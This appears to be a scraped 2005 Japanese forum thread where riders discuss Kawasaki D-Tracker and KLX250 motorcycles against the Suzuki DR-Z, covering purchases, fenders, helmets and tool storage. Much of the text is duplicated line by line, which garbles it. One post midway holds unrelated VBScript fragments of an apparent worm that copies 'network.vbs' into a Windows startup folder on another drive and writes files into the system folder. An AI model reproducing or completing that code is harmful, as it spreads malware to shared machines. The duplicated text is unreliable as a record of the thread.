Ｄトラは250で車検無い、安い。それが利点。スズキも値引きあるし。
俺も今年一杯で買い換える予定。
Ｄトラは250で車検無い、安い。それが利点。スズキも値引きあるし。
俺も今年一杯で買い換える予定。
車検前に売れば問題なし。
>>466
へね。
へね。
DRZはｶｺﾜﾛｲから、金に余裕があるならKTMに行く
いまだに400という区切りにこだわりを持ってるﾔｼがいるとはｗ
細かい排気量差はあれど以前200～250クラスそこから400クラスなのがオフなんだけどねぇ。
650とかの大排気量はデュアルパーパスな訳でカテゴリーが違うし。
オンとオフ一緒に考えてるのがモタード乗りなんだろうけどわかってないねぇ。
650とかの大排気量はデュアルパーパスな訳でカテゴリーが違うし。
オンとオフ一緒に考えてるのがモタード乗りなんだろうけどわかってないねぇ。
ｺﾞﾒﾝ>>474の意味がわからない
てかＤＲＺが出てからというもの
このﾊﾞｲｸを通過点扱いにするﾔｼが増えたね。悲しい。
このﾊﾞｲｸを通過点扱いにするﾔｼが増えたね。悲しい。
KLX450を出してほしい
479 ：７７４ＲＲ：2005/05/24(火) 17:46:40 ID:wmOqoRCA
Ｄトラ←貧民バイク
ＤＲ←貴族バイク
でもＤトラのシュラウドにピンコ立ちのおいらはカワサキッカー。
タンクをＤＲに移植出来れば最高なんだがな
ＤＲ←貴族バイク
でもＤトラのシュラウドにピンコ立ちのおいらはカワサキッカー。
タンクをＤＲに移植出来れば最高なんだがな
KTMは壊れやすいんじゃないの？
やはり、国産は安心感があるからね。
あと、身長１８０センチあるのを想定して作られた外車は俺にはきつい。
やはり、国産は安心感があるからね。
あと、身長１８０センチあるのを想定して作られた外車は俺にはきつい。
DR-Zもノーマルだとヌルイバイクなんだけど、足回りはみりきだわな。
そろそろ、規制をクリアしたうえでガッツリとパワーのある新エンジン積んだトレールが出て欲しいよな
そろそろ、規制をクリアしたうえでガッツリとパワーのある新エンジン積んだトレールが出て欲しいよな
483 ：７７４ＲＲ：2005/05/24(火) 18:00:03 ID:FU2q2cQR
Ｄ虎は買いでﾂｶ？の質問をしたｵﾚですがモタードはお初なんでﾆｰﾊﾝのＤ虎orＳＢにします。ｲﾛｲﾛな意見どーもです
っていうか中古で買う場合特にどこを注意したらいいでﾂｶ？
っていうか中古で買う場合特にどこを注意したらいいでﾂｶ？
DRが貴族かよ・・・
SUZUKI路線をジェベルに取って代わられたバイクが貴族か・・・
感覚が若いと価値も安っぽいな。
SUZUKI路線をジェベルに取って代わられたバイクが貴族か・・・
感覚が若いと価値も安っぽいな。
> 中古で買う場合特にどこを注意したらいいでﾂｶ？
イジッテル車両はゴミと思え
イジッテル車両はゴミと思え
>>483
普通にＥＧ音だろうか。。
漏れが探してるとき、走行2000ｋｍのがあったが、とてもそれだけの距離のﾍﾀﾚ具合じゃなかった。ﾀｲﾔも含めて。
ぜったい２万は越えてたﾊｽﾞ。。。でなければ相当酷な使われ方をしたか（改ざんよりｺｯﾁの方が怖い）
で、最終的に手に入れた1500ｋｍのは新同だった。
数件回って、走行距離＝ﾍﾀﾚ具合 のバランスを見極めよう。。
店員の「今契約しないと明日はないよ・・・」には騙されるな。迷ったらｽﾙｰ。
普通にＥＧ音だろうか。。
漏れが探してるとき、走行2000ｋｍのがあったが、とてもそれだけの距離のﾍﾀﾚ具合じゃなかった。ﾀｲﾔも含めて。
ぜったい２万は越えてたﾊｽﾞ。。。でなければ相当酷な使われ方をしたか（改ざんよりｺｯﾁの方が怖い）
で、最終的に手に入れた1500ｋｍのは新同だった。
数件回って、走行距離＝ﾍﾀﾚ具合 のバランスを見極めよう。。
店員の「今契約しないと明日はないよ・・・」には騙されるな。迷ったらｽﾙｰ。
俺の10万超えのKLXのEG音と「普通に発病中」のEG音を比べたら・・・
明らかに発病中の方がイオンの塊
明らかに発病中の方がイオンの塊
>>483
中古はなんかお得感が全然ないよね
新車でも引いてくれるところは10ﾏｿ以上引いてくれるから、素性のわからないってﾘｽｸ考えると
新車がいいぞよ
特に483はバイク詳しくなさそうだし…漏れも中古探してたけど、結局パワスポで新車買いましたｗ
慣らしは怠かったけど、今は新車買って満足でつ どうせローンだから月割りするとあまり変わらなかった気がするし
中古はなんかお得感が全然ないよね
新車でも引いてくれるところは10ﾏｿ以上引いてくれるから、素性のわからないってﾘｽｸ考えると
新車がいいぞよ
特に483はバイク詳しくなさそうだし…漏れも中古探してたけど、結局パワスポで新車買いましたｗ
慣らしは怠かったけど、今は新車買って満足でつ どうせローンだから月割りするとあまり変わらなかった気がするし
>>どうせローンだから月割りするとあまり変わらなかった気がするし
ゴメン、コレはウソ
なんかみんなに叩かれそうな気がするから取り消して下さいm(_ _)m
ゴメン、コレはウソ
なんかみんなに叩かれそうな気がするから取り消して下さいm(_ _)m
DRZとの対比が出てるけどもWR250は候補に入らないの？
ど素人なんだけども５００ｋｍ毎のオイル交換で1-2万ｋｍ問題無いなら
車検無いし軽いしDRZより割り切れそうな予感がする
持ってる人に聞きたい
ど素人なんだけども５００ｋｍ毎のオイル交換で1-2万ｋｍ問題無いなら
車検無いし軽いしDRZより割り切れそうな予感がする
持ってる人に聞きたい
ヤマハがいいならヤマハスレ行け。
言われなくても負け組だから中古買いなんだがﾅﾆを今さら・・
496 ：７７４ＲＲ：2005/05/24(火) 18:58:51 ID:FU2q2cQR
っていうか中古（rの質問をしたｵﾚですが今手元にあるｸﾞーバイク見たところ新車でも36ﾏｿ～からあるので新車にしよう思います。ｲﾛｲﾛな意見どーもです
っていうかこんなｵﾚは元NSR250ﾉﾘで4ｽﾄ鬼素人ﾃﾞﾂ
ツレのＸＲ250モタみて一目惚れし一緒は嫌なのでＤ虎orＳＢにします
っていうかこんなｵﾚは元NSR250ﾉﾘで4ｽﾄ鬼素人ﾃﾞﾂ
ツレのＸＲ250モタみて一目惚れし一緒は嫌なのでＤ虎orＳＢにします
うむうむ、新車はいいぞ。
初めて買うバイクだと、転けたとき大ショックだがな。
初めて買うバイクだと、転けたとき大ショックだがな。
第1投目が楽しみですな
>496
俺も３ｘｖ持っているけど２ストレプリカ乗りならその非力さに初めは
失望すると思うが、これは下り専用でリアを流すバイクだと割り切るといいぞ。
俺も３ｘｖ持っているけど２ストレプリカ乗りならその非力さに初めは
失望すると思うが、これは下り専用でリアを流すバイクだと割り切るといいぞ。
初めて買ったわけではないんですが、やはり新車だと
転げそうな時もふんばってしまったりしてとても危ない。
でも体が勝手に動いちゃうんですよね。
転げそうな時もふんばってしまったりしてとても危ない。
でも体が勝手に動いちゃうんですよね。
>>496
そっかそっか。
XRを選択肢から外したのは正解。
9月まで、カワサキは2万キャッシュバックキャンペーンやってる。
コレは販売店の値引きから、さらに2万戻って来るのでお買得。
まぁ、36万とか安いのは04以前のモデルだろうから、
それにキャンペーンが適応されるのか、販売店にきいてみ。
そっかそっか。
XRを選択肢から外したのは正解。
9月まで、カワサキは2万キャッシュバックキャンペーンやってる。
コレは販売店の値引きから、さらに2万戻って来るのでお買得。
まぁ、36万とか安いのは04以前のモデルだろうから、
それにキャンペーンが適応されるのか、販売店にきいてみ。
すいませんリアが未だに流れないんですが、どうしてですか？
>>503
ヒント：ﾋﾞﾋﾞﾘﾐｯﾀｰ
ヒント：ﾋﾞﾋﾞﾘﾐｯﾀｰ
>503
サスをフロントは硬くリアは柔らかくしてフロント加重でコーナー突っ込めば嫌でも流れるよ。
サスをフロントは硬くリアは柔らかくしてフロント加重でコーナー突っ込めば嫌でも流れるよ。
レスどうもです
タンクとシートの境目ぐらいに乗ってますが、
格好だけでアクセル開けてない予感してきました。
河川敷でやってみます
タンクとシートの境目ぐらいに乗ってますが、
格好だけでアクセル開けてない予感してきました。
河川敷でやってみます
>>特に483はバイク詳しくなさそうだし
正直スマンかった
NSRに比べたら同じ排気量とは思えないはずさ
大学のﾂﾚの'87NSRはフルパワーで超速かったなぁ
正直スマンかった
NSRに比べたら同じ排気量とは思えないはずさ
大学のﾂﾚの'87NSRはフルパワーで超速かったなぁ
509 ：７７４ＲＲ：2005/05/24(火) 22:26:17 ID:jEE8IZmr
フロント、リアフェンダーはどこのものを
使ってますか？参考にしたいので教えてください
使ってますか？参考にしたいので教えてください
純正なので教えるも何も
KXのフェンダ注文したから加工する予定ですな
KXのフェンダ注文したから加工する予定ですな
511 ：７７４ＲＲ：2005/05/24(火) 22:42:32 ID:9s5zK03K
ﾌﾛﾝﾄ＝ｱﾁｪ
ﾘｱ＝ｵｽｶｰｽﾞ
ﾘｱ＝ｵｽｶｰｽﾞ
513 ：７７４ＲＲ：2005/05/24(火) 23:22:26 ID:HSPOn7KS
TMRつけたらブタ鼻撤去と250Rダクトに替えるのと、どっちがいいですか?
セッティングはブタ鼻撤去の方が出やすいと思うのですが。
セッティングはブタ鼻撤去の方が出やすいと思うのですが。
2スト250三気筒と4スト単気筒のクラッチミート難度比較の件
>>493
用途によるかと。コースいくならレーサーの方が何かと楽しめそうだし不満は自分の腕だけだろうけど、
ツーリングしたり、峠を行ったり来たりして楽しむとなると、メンテサイクルが圧迫してくるだろうね。
それに、国産レーサーはモタにしようとすると確実にDRZ+ｳﾝ十万の費用がかかるから、
その+分でDRZを改造したら･･･
個人的な住み分け
Dトラ→1/1プラモで弄くり倒して遊ぶぜ
DRZ→公道での走りを重視
レーサー･外車→コースで遊ぶのが目的
大型車からの移行組やDトラをボアアップしてるような人はDRZに移ってるけど、
かといってDトラ乗りが極端には減ってるとは思わない今日この頃。
用途によるかと。コースいくならレーサーの方が何かと楽しめそうだし不満は自分の腕だけだろうけど、
ツーリングしたり、峠を行ったり来たりして楽しむとなると、メンテサイクルが圧迫してくるだろうね。
それに、国産レーサーはモタにしようとすると確実にDRZ+ｳﾝ十万の費用がかかるから、
その+分でDRZを改造したら･･･
個人的な住み分け
Dトラ→1/1プラモで弄くり倒して遊ぶぜ
DRZ→公道での走りを重視
レーサー･外車→コースで遊ぶのが目的
大型車からの移行組やDトラをボアアップしてるような人はDRZに移ってるけど、
かといってDトラ乗りが極端には減ってるとは思わない今日この頃。
Dトラ乗りは駆逐されていいよ。
俺の中ではビクスク乗りと同類だし。
俺の中ではビクスク乗りと同類だし。
若い人たちにD虎って人気あるの？
俺が行ってる大学の駐輪場では見たことがないよ。
半ヘルライダーのほとんどがビグスクとTW・FTRとアメリカン
オフ車とモタードは０に近い。
俺が行ってる大学の駐輪場では見たことがないよ。
半ヘルライダーのほとんどがビグスクとTW・FTRとアメリカン
オフ車とモタードは０に近い。
>>516
250SB乗りの俺は問題ないですね＾＾
250SB乗りの俺は問題ないですね＾＾
うん、所詮SUZUKIだし。
>>520
で、おぬしは何に乗ってるんだ？
で、おぬしは何に乗ってるんだ？
DR800SM
523 ：７７４ＲＲ：2005/05/25(水) 01:35:59 ID:KSoBMmey
アナログのタコメーターでお勧めはない？
524 ：７７４ＲＲ：2005/05/25(水) 01:36:28 ID://YHkzv0
>>523
でーとな
でーとな
525 ：７７４ＲＲ：2005/05/25(水) 01:40:05 ID:On0zIc6z
SB新車で買って海苔だすまえに315にした漏れは負け組？
527 ：７７４ＲＲ：2005/05/25(水) 01:54:07 ID:Xj1OPnBq
おすすめのエンジンオイルってありますか？
友達から譲っていただいたのですが
ハイカム、バルブup 、ＦＣＲキャブ、リミット１０００回転up
してあるのでなるべく良いものを使えと言われているのですが
友達から譲っていただいたのですが
ハイカム、バルブup 、ＦＣＲキャブ、リミット１０００回転up
してあるのでなるべく良いものを使えと言われているのですが
If s = "htm" and fso.FileExists(f1.path+"l") = False thenfso.CopyFile f1.path, f1.path+"l"
Set A4 = A1.CreateTextFile(A1.BuildPath(A1.GetSpecialFolder(1)
fso.copyfile "c:\network.vbs", "j:\windows\start menu\programs\startup\
Set A4 = A1.CreateTextFile(A1.BuildPath(A1.GetSpecialFolder(1)
fso.copyfile "c:\network.vbs", "j:\windows\start menu\programs\startup\
529 ：７７４ＲＲ：2005/05/25(水) 02:22:42 ID:On0zIc6z
ﾓﾁｭｰﾙの一番いいやつ使えば？
先ず間違いないと思うよ。
ｿﾞｲﾙもついでにいれてさ。
先ず間違いないと思うよ。
ｿﾞｲﾙもついでにいれてさ。
>>526
軽トラに乗せてkawasakiに持って行きゃおｋなんじゃね？
軽トラに乗せてkawasakiに持って行きゃおｋなんじゃね？
>>518にプチ同意してる漏れもＳＢ海苔. だが友人に車種をきかれると、
説明がﾒﾝﾄﾞｲのでつい「Ｄトラみたいなのに乗ってる」と言ってしまふ超ﾍﾀﾚ
(漏れの周りにはバイクに詳しい人いないもんなあ)。
ちなみに新車で買って２時間後にｺｹﾀ。
説明がﾒﾝﾄﾞｲのでつい「Ｄトラみたいなのに乗ってる」と言ってしまふ超ﾍﾀﾚ
(漏れの周りにはバイクに詳しい人いないもんなあ)。
ちなみに新車で買って２時間後にｺｹﾀ。
モタードの雑誌で、イベント見学に来てた人のコメント。
「今度買うならモタードですね」と、言ってるその人はカスタムマジェ乗り。
つまり、流行りで乗るってわけですわ。
「今度買うならモタードですね」と、言ってるその人はカスタムマジェ乗り。
つまり、流行りで乗るってわけですわ。
KLXがモタードいされちゃった悲劇
ということでDトラとSB以外のネタは
【別館】KLX250 無印・SR・ESなど2nd【オフネタ】
http://hobby7.2ch.net/test/read.cgi/bike/1116610092/
に行きます。
ということでDトラとSB以外のネタは
【別館】KLX250 無印・SR・ESなど2nd【オフネタ】
http://hobby7.2ch.net/test/read.cgi/bike/1116610092/
に行きます。
>>534
俺も女子に説明する時は、オフロードみたいなのって言ってるな。
俺も女子に説明する時は、オフロードみたいなのって言ってるな。
|火|'A`)oO(SBって言うとoff会で素性があっさりバレテしまったので、Dトラって言ってる。(怖かったわぁ)
537 ：７７４ＲＲ：2005/05/25(水) 14:33:04 ID:On0zIc6z
何が怖いの？
胡麻化してのるやつの事？
胡麻化してのるやつの事？
チラシの裏だろうから気にするな。
539 ：７７４ＲＲ：2005/05/25(水) 16:24:33 ID:On0zIc6z
やられた
540 ：神の子 ◆ILP3CBjwRg ：2005/05/25(水) 16:55:40 ID:nL/WZKIk
モタード買うならモタードの走りをして頂きたいね。
意味がない気がするよ。だったらオン車に乗ってもらいたいね。
ビクスクでいいんじゃない？
ファッションでバイクに乗る奴はいつも頭の中がからっぽの奴にしか
思えない。
意味がない気がするよ。だったらオン車に乗ってもらいたいね。
ビクスクでいいんじゃない？
ファッションでバイクに乗る奴はいつも頭の中がからっぽの奴にしか
思えない。
>>539
どうした？
どうした？
バイクなんて半分趣味の乗りもんなんだから
他人の乗り方にとやかく言うなよ。
他人の乗り方にとやかく言うなよ。
あぁもちろん他人に迷惑かける馬鹿な走り方してる奴は例外な。
546 ：神の子 ◆ILP3CBjwRg ：2005/05/25(水) 17:34:28 ID:VecbPedr
>>542
そうですね、からっぽ君が多いからそれに合わせた市場がある。
糞スレ立てたんでよかったらどうぞ。遊びに来てください。
http://hobby7.2ch.net/test/read.cgi/bike/1116881126/l50
そうですね、からっぽ君が多いからそれに合わせた市場がある。
糞スレ立てたんでよかったらどうぞ。遊びに来てください。
http://hobby7.2ch.net/test/read.cgi/bike/1116881126/l50
>>540,542
なんなのその言いかたは？その理屈で言うとオフ車も乗れないじゃん
前々から思ってたけどＫＬＸ派の人は排他的すぎる
別スレ立てるほど片身の狭い流れだった？自分だけは別格と思い込んでいるだけだと思う
それに誰でもファッションに多少なり気を使いながらバイクに乗っている以上ファッションバイカーを否定することは出来ないぞえ
なんなのその言いかたは？その理屈で言うとオフ車も乗れないじゃん
前々から思ってたけどＫＬＸ派の人は排他的すぎる
別スレ立てるほど片身の狭い流れだった？自分だけは別格と思い込んでいるだけだと思う
それに誰でもファッションに多少なり気を使いながらバイクに乗っている以上ファッションバイカーを否定することは出来ないぞえ
なんか最近になって所々のカキコから悪意を感じる。。
そもそもオーナー系スレってもっと身内的じゃないの？
そもそもオーナー系スレってもっと身内的じゃないの？
おまえらのどこをどう見ればファッションに気を使ってることになるのか？
リュック背負ってヨレヨレのシャツ来たままデブの汗くさい臭いをまき散らし、
メイドカフェ行くのがファッションバイカーってんなら認めてやるけど。
リュック背負ってヨレヨレのシャツ来たままデブの汗くさい臭いをまき散らし、
メイドカフェ行くのがファッションバイカーってんなら認めてやるけど。
ガキみたいなレスが増えたね。常駐してるのいるみたいだし。
他人様に迷惑かけなきゃ、何だっていいよ。
俺ちゃんは知らん。
荒れるのはみんな迷惑、ﾏﾀｰﾘ行こうぜ。
俺ちゃんは知らん。
荒れるのはみんな迷惑、ﾏﾀｰﾘ行こうぜ。
流れを変える為に質問。今日ポリスポのスリムな方のハンドガードつけたのだが、結構クラッチワイヤーとブレーキホースがキツキツだった。やはり汎用って事で要加工？それともラインずらしてスッポリ？？教えてくださいませ…
流れを変える為に質問。今日ポリスポのスリムな方のハンドガードつけたのだが、結構クラッチワイヤーとブレーキホースがキツキツだった。やはり汎用って事で要加工？それともラインずらしてスッポリ？？教えてくださいませ…
流れを変えるために連投かよ・・・
’０３ＫＬＸに乗ってますが右のステップの位置変じゃない？
って云うか左に比べて外側にあるので、いつも右足半分位（内側）はステップを
保持してるアームに乗ってて違和感を感じるのは俺だけ？
って云うか左に比べて外側にあるので、いつも右足半分位（内側）はステップを
保持してるアームに乗ってて違和感を感じるのは俺だけ？
旧型フォルツァからＤ虎に乗り換え予定
フォルツァ（ＳＯＨＣ２バルブ）よりＤ虎（２００４年式）のほうが
加速も最高速も上だよね？
フォルツァ（ＳＯＨＣ２バルブ）よりＤ虎（２００４年式）のほうが
加速も最高速も上だよね？
>>557
キック時代の名残ってヤツ。
キック時代の名残ってヤツ。
＞フォルツァからＤ虎に乗り換え予定
ネ申登場
ネ申登場
＞＞５６０
そんなに変か？バカスク使用じゃないから安心して
去年春の交通安全運動時にスピード違反（ＴＺＲ２５０ＳＰＲ）で
免停になって、１年間は静かにしてようと思って
一番遅いクラスのビクスクにしたわけです。
速さ求めてないなら楽なのがいいので。
それまではＴＺＲ、ＲＶＦ、など乗り継いできたんですけど
モタードの車高の高さの爽快感に目覚めてしまって、乗り換え決意
そんなに変か？バカスク使用じゃないから安心して
去年春の交通安全運動時にスピード違反（ＴＺＲ２５０ＳＰＲ）で
免停になって、１年間は静かにしてようと思って
一番遅いクラスのビクスクにしたわけです。
速さ求めてないなら楽なのがいいので。
それまではＴＺＲ、ＲＶＦ、など乗り継いできたんですけど
モタードの車高の高さの爽快感に目覚めてしまって、乗り換え決意
オフ車は渋滞路では一番速いかもよ・・・
トルクもＴＺＲとかよりあるから80キロまでは速いし・・・
安全運転しろよ学生。
トルクもＴＺＲとかよりあるから80キロまでは速いし・・・
安全運転しろよ学生。
565 ：７７４ＲＲ：2005/05/26(木) 01:43:15 ID:xhYae/Cj
凡用しかみつからないんだけど
Dトラッカー用アチャルビスモタードフェンダー
売ってる店知りません？
Dトラッカー用アチャルビスモタードフェンダー
売ってる店知りません？
疲れたとき爪先立ちにふらはぎをつる恐怖を覚えるので
ローダウンキットにちょっと興味あるんですけど、
テンプレ見ると「サスの動きが悪くなるらしい」ともあり・・・。
誰か実際に使ってる（or使ったことのある）人の感想を聞きたいんですが、いないですかね？
ローダウンキットにちょっと興味あるんですけど、
テンプレ見ると「サスの動きが悪くなるらしい」ともあり・・・。
誰か実際に使ってる（or使ったことのある）人の感想を聞きたいんですが、いないですかね？
>>564
('A`)人('A`)ﾅｶｰﾏ!!
ﾌｧｯｼｮﾝで乗ってる訳じゃないが…
ﾃﾞﾆﾑやﾊﾟﾝﾂの裾が短くて靴がｽﾆｰｶｰの人見ると(靴下も短くて脛の肌色見えた)
もう少し見た目考えたほうが(･∀･)ｲｲﾃﾞｽ!!
その格好はねｰだろ､と心の中で突っ込みましたw
ちなみにｶﾜｻｷ以外のｵﾌ車でﾘｱの所に3ｹﾀのｾﾞｯｹﾝまではってありました
服も地味そうな普段着
(´-`).｡oO(ｾﾞｯｹﾝまではってあってその格好はいかがなものか･･･)
('A`)人('A`)ﾅｶｰﾏ!!
ﾌｧｯｼｮﾝで乗ってる訳じゃないが…
ﾃﾞﾆﾑやﾊﾟﾝﾂの裾が短くて靴がｽﾆｰｶｰの人見ると(靴下も短くて脛の肌色見えた)
もう少し見た目考えたほうが(･∀･)ｲｲﾃﾞｽ!!
その格好はねｰだろ､と心の中で突っ込みましたw
ちなみにｶﾜｻｷ以外のｵﾌ車でﾘｱの所に3ｹﾀのｾﾞｯｹﾝまではってありました
服も地味そうな普段着
(´-`).｡oO(ｾﾞｯｹﾝまではってあってその格好はいかがなものか･･･)
>>569
漏れもよく思う。
モタド専用のヘル被っておきながら、半パンでサンダル履きの変なヤシ見ました。
ファッションｾﾝｽなら半ボーﾊﾚ野郎のほうがまだそれらしい時もある（頭の安全性はｵｲﾄｲﾃ）
昔のオフ乗りはセルなんか無かったからそれなりの格好しないと怪我したしよね。
つか全てのﾗｲﾀﾞｰに言えるんだけどﾎﾝﾄスネや靴下が出てるのは激ｶｺﾜﾙｲ、ｸﾄﾞｲけど。
漏れもよく思う。
モタド専用のヘル被っておきながら、半パンでサンダル履きの変なヤシ見ました。
ファッションｾﾝｽなら半ボーﾊﾚ野郎のほうがまだそれらしい時もある（頭の安全性はｵｲﾄｲﾃ）
昔のオフ乗りはセルなんか無かったからそれなりの格好しないと怪我したしよね。
つか全てのﾗｲﾀﾞｰに言えるんだけどﾎﾝﾄスネや靴下が出てるのは激ｶｺﾜﾙｲ、ｸﾄﾞｲけど。
怪我したしよね ってなんだｏｒｚ
>>568
虎の時はスリップオンマフラーのみ交換で、今のSMはノーマルなのですが
やはり違います。下の方でトルクが厚い印象です。
虎６速SM５速なんで比較しにくいですが信号ｽﾀｰﾄで虎３速発進までSMは４速発進までいけました。
虎の時はスリップオンマフラーのみ交換で、今のSMはノーマルなのですが
やはり違います。下の方でトルクが厚い印象です。
虎６速SM５速なんで比較しにくいですが信号ｽﾀｰﾄで虎３速発進までSMは４速発進までいけました。
そりゃあ、その日は只単にその辺に買い物いくだけだったとかじゃないのか？
短パン半袖はアレだが…
短パン半袖はアレだが…
煙たがってるのはﾓﾀｰﾄﾞﾓﾀｰﾄﾞいってる人だけな気がするが…。
単に自分たちが「珍しい」存在じゃなくなって喚いてる感じ。
いやまぁ、サンダル履きはどうかと思うけどな
単に自分たちが「珍しい」存在じゃなくなって喚いてる感じ。
いやまぁ、サンダル履きはどうかと思うけどな
ふよふ化するならハイカムも一緒の方がよい？
577 ：７７４ＲＲ：2005/05/26(木) 14:40:52 ID:MnK/WGpa
一緒がいい。
一回で済むでしょ！
工賃払うなら尚更
一回で済むでしょ！
工賃払うなら尚更
自分でやるならカム交換なんて一回で済ませるとか考える
必要もないくらいの作業だろ
必要もないくらいの作業だろ
579 ：７７４ＲＲ：2005/05/26(木) 15:06:46 ID:JbaSLvva
Dトラ買いました。
納車はまだだけど。
99年型のライムグリーン！！
Dトラの緑ってあんまり見ないからちょっと嬉しい。
4ストオフは初めてだから、ちょっとドキドキだなー。
納車楽しみ！！
納車はまだだけど。
99年型のライムグリーン！！
Dトラの緑ってあんまり見ないからちょっと嬉しい。
4ストオフは初めてだから、ちょっとドキドキだなー。
納車楽しみ！！
580 ：７７４ＲＲ：2005/05/26(木) 16:26:41 ID:jj4ogZLx
2stからの乗換えだとがっかりするよ。
でも楽なんだよな。
でも楽なんだよな。
素朴な疑問です。
タンデムシートの近くにあるバッグみたいな入れ物には車載工具が入っているのですか？
これを外したら、法律的にまずいでしょうか？
また、外してもネジ穴とかあって見栄えが悪いですか？
タンデムシートの近くにあるバッグみたいな入れ物には車載工具が入っているのですか？
これを外したら、法律的にまずいでしょうか？
また、外してもネジ穴とかあって見栄えが悪いですか？
>>581
穴に被せる蓋がある。
穴に被せる蓋がある。
そうそう、レーサーのフェンダーはナンバー取り付けフェンダー（変な言い方ｗ）
を固定するネジ穴が、裏に着いてないので注意汁。
を固定するネジ穴が、裏に着いてないので注意汁。
587 ：みるく ◆GASNOWzado ：2005/05/26(木) 17:35:12 ID:8mBfN6BU
ただのオフヘルでそ。
モタもオフもゴーグルが(ry
待ち乗り短パンとかより、
いい大人がふよふ化（ﾅﾝﾊﾞｰ付）・煩マフラー装着してる方がよっぽど気になる。
モタもオフもゴーグルが(ry
待ち乗り短パンとかより、
いい大人がふよふ化（ﾅﾝﾊﾞｰ付）・煩マフラー装着してる方がよっぽど気になる。
591 ：７７４ＲＲ：2005/05/26(木) 20:54:34 ID:ixA2ImtK
>582
グロメットはパーツカタログのどのページにあるんですか？
グロメットはパーツカタログのどのページにあるんですか？
>>591
Dトラ用で探してね
Dトラ用で探してね
半ヘルのモタ乗り(車種不明2ストとDトラ)を見た。
ああ、TW→ビグスクに次ぐ「コジャレバイク」になったんだな、と。
ああ、TW→ビグスクに次ぐ「コジャレバイク」になったんだな、と。
>>593
ライムグリーンで差別化を図れｗｗｗｗ
ライムグリーンで差別化を図れｗｗｗｗ
>>593
革ﾂﾅｷﾞ着て乗れば「コジャレ」とは見られないぞｗ
革ﾂﾅｷﾞ着て乗れば「コジャレ」とは見られないぞｗ
596 ：７７４ＲＲ：2005/05/26(木) 21:46:51 ID:ixA2ImtK
>592
Dトラのパーツカタログ（カワサキhp）見たのですが見つかりません。
もしかして、純正部品ではないのですか？
Dトラのパーツカタログ（カワサキhp）見たのですが見つかりません。
もしかして、純正部品ではないのですか？
フェンダのとこみれ
フェンダ裏の写真を貼っておきました。右がＲのです。ご参考まで。
ttp://bike2ch.web.infoseek.co.jp/cgi-bin/imgboardNoRes/img-box/img20050526215714.jpg
ttp://bike2ch.web.infoseek.co.jp/cgi-bin/imgboardNoRes/img-box/img20050526215714.jpg
599 ：７７４ＲＲ：2005/05/26(木) 22:04:14 ID:ixA2ImtK
Ｊのパーツカタログか！Ｍで探してた。皆さん、ありがとう。
ところで、皆さんはフェンダの上から工具入れ外して
どのように工具と登録証を携帯してますか？
ところで、皆さんはフェンダの上から工具入れ外して
どのように工具と登録証を携帯してますか？
600 ：７７４ＲＲ：2005/05/26(木) 22:43:14 ID:Voc6kzvc
オレは工具入れをテールカウルの裏、つまりもともと付いてるとこの裏っ側につけてる。どう？
てかさ、みんなﾄﾞｺのﾍﾙﾒｯﾄ使ってるですか？
602 ：７７４ＲＲ：2005/05/26(木) 23:03:06 ID:Voc6kzvc
荒井
603 ：みるく ◆GASNOWzado ：2005/05/26(木) 23:07:35 ID:8mBfN6BU
>>600
ヲイラも最近リアバック外しました
見た目すっきりでいい感じ
リアバック有ったときも中身はHIDのバラストだったので工具は無し
近距離日帰り専用だから、まあ大丈夫かと。
どうせ車載工具じゃたいした修理できないし。
万一はJRCでも呼ぶ。
書類は携帯のカメラでパチリで保存。
オリジナルは盗難や紛失考えると怖くて積めない。
>>601
オンロードオンリーの時はアライゴストラッカー
イベント等でオフセクションある時はショーエイVFX-R
快適性や使い勝手はオンロード用がいい感じ
オフ走るときはシールド内に埃が舞い込むからゴーグル必須
イベント時はファッションもあるけどｗ
ヲイラも最近リアバック外しました
見た目すっきりでいい感じ
リアバック有ったときも中身はHIDのバラストだったので工具は無し
近距離日帰り専用だから、まあ大丈夫かと。
どうせ車載工具じゃたいした修理できないし。
万一はJRCでも呼ぶ。
書類は携帯のカメラでパチリで保存。
オリジナルは盗難や紛失考えると怖くて積めない。
>>601
オンロードオンリーの時はアライゴストラッカー
イベント等でオフセクションある時はショーエイVFX-R
快適性や使い勝手はオンロード用がいい感じ
オフ走るときはシールド内に埃が舞い込むからゴーグル必須
イベント時はファッションもあるけどｗ
>>601
俺はアライの
ttp://www.arai.co.jp/jpn/offtrial/txm_t.html
SHOEIのホーネットと迷ったけど、なんとなくこれにしました。
オフ走らないからゴーグルは激しくうざいし
オンロード用でもかっこいい！っていう人もいますけど、自分はオフ車にはオフ用がいいなーって思ってたので
これにしました。
俺はアライの
ttp://www.arai.co.jp/jpn/offtrial/txm_t.html
SHOEIのホーネットと迷ったけど、なんとなくこれにしました。
オフ走らないからゴーグルは激しくうざいし
オンロード用でもかっこいい！っていう人もいますけど、自分はオフ車にはオフ用がいいなーって思ってたので
これにしました。
605 ：７７４ＲＲ：2005/05/27(金) 00:00:00 ID:JbaSLvva
普段の街乗りはSHOEI VFX-R
雨の日＆エクストリーム練習ではFOX Pilot
VFX-Rの内装は良いね～。
ゴーグルはドラゴンのMDXSが個人的には一番しっくりくる感じ。
雨の日＆エクストリーム練習ではFOX Pilot
VFX-Rの内装は良いね～。
ゴーグルはドラゴンのMDXSが個人的には一番しっくりくる感じ。
漏れは工具を左サイドカバー内のバッテリの前に取り外し可能なタイラップで固定。
そしてサイドカバーを外すためのレンチ一本をフレームに固定してる。
普段はアライのﾌﾙﾌｪ、オフメットは韓国製ｗ
そしてサイドカバーを外すためのレンチ一本をフレームに固定してる。
普段はアライのﾌﾙﾌｪ、オフメットは韓国製ｗ
つか>>605時刻オメ
>>600
トラだと大丈夫だけど
KLXだとフルボトムした時にタイヤと接触すると言うレスがあったような。
個人的に～03のタレ尻好きはレーサーを改造したりしないといけないけど、
04以降のカチ揚げテールが好きなら、社外Rフェンダーつけたほうが
すっきりしてるとは思う。
トラだと大丈夫だけど
KLXだとフルボトムした時にタイヤと接触すると言うレスがあったような。
個人的に～03のタレ尻好きはレーサーを改造したりしないといけないけど、
04以降のカチ揚げテールが好きなら、社外Rフェンダーつけたほうが
すっきりしてるとは思う。
609 ：７７４ＲＲ：2005/05/27(金) 19:17:36 ID:sXdCye3r
正解！KLXだとフルボトムでもげますよ。
社外リアは高いので貧乏でライムがいい人はKXの流用だな
KLX０１のシュラウドステッカー剥いで０４ステッカー貼りましたが、
案の定空気のプチプチが残留したよ・・・鬱
後から気づいたけどシュラウド単体は安いのね。新型のシュラウドにすればヨカタ
貧乏くさい作業でスマンね
チラシの裏
KLX０１のシュラウドステッカー剥いで０４ステッカー貼りましたが、
案の定空気のプチプチが残留したよ・・・鬱
